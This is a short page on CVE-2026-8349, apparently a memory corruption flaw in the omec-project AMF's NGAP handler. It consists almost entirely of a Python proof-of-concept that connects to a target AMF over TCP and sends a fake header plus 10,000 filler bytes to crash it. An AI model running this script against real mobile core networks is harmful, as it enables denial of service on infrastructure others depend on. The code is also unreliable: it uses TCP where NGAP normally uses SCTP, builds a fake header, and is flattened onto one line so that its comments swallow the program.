CVE-2026-8349: omec-project amf NGAP消息处理器内存损坏漏洞

#!/usr/bin/env python3 # PoC for CVE-2026-8349 (Conceptual) # This script sends a malformed NGAP message to trigger the memory corruption. import socket import struct def send_exploit(target_ip, target_port): try: # Create a raw socket (SCTP is typically used for NGAP, but TCP/UDP might be used in testing) # For demonstration purposes, we assume TCP. print(f"[*] Connecting to {target_ip}:{target_port}...") s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.settimeout(5) s.connect((target_ip, target_port)) # Construct a malformed payload # NGAP message structure usually starts with a specific header. # Here we simulate a buffer overflow or corruption by sending oversized data. header = b"\x00" * 4 # Fake NGAP header # Malformed payload designed to overflow the handler payload = b"\x41" * 10000 evil_packet = header + payload print("[*] Sending malicious payload...") s.send(evil_packet) # Check response (might crash before responding) response = s.recv(1024) print(f"[+] Received response: {response}") except Exception as e: print(f"[!] Error or potential crash detected: {e}") finally: s.close() if __name__ == "__main__": # Replace with actual target IP and Port of the vulnerable AMF instance TARGET_IP = "127.0.0.1" TARGET_PORT = 38412 # Default SCTP port for NGAP, might vary in TCP setups send_exploit(TARGET_IP, TARGET_PORT)